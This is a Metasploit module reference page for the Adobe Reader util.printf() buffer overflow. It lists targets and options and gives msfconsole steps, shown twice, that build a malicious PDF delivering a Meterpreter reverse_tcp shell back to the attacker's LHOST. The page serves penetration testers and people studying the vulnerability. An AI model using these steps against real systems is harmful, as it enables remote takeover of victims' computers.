Adobe util.printf() Buffer Overflow
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code.
Exploit Rank
- Good
Exploit Authors
- MC < mc [at] metasploit.com >
- Didier Stevens < didier.stevens [at] gmail.com >
Vulnerability References
Exploit Targets
- 0 - Adobe Reader v8.1.2 (Windows XP SP3 English) (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > show payloads
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_utilprintf) > exploit
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msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > show payloads
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_utilprintf) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.pdf) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |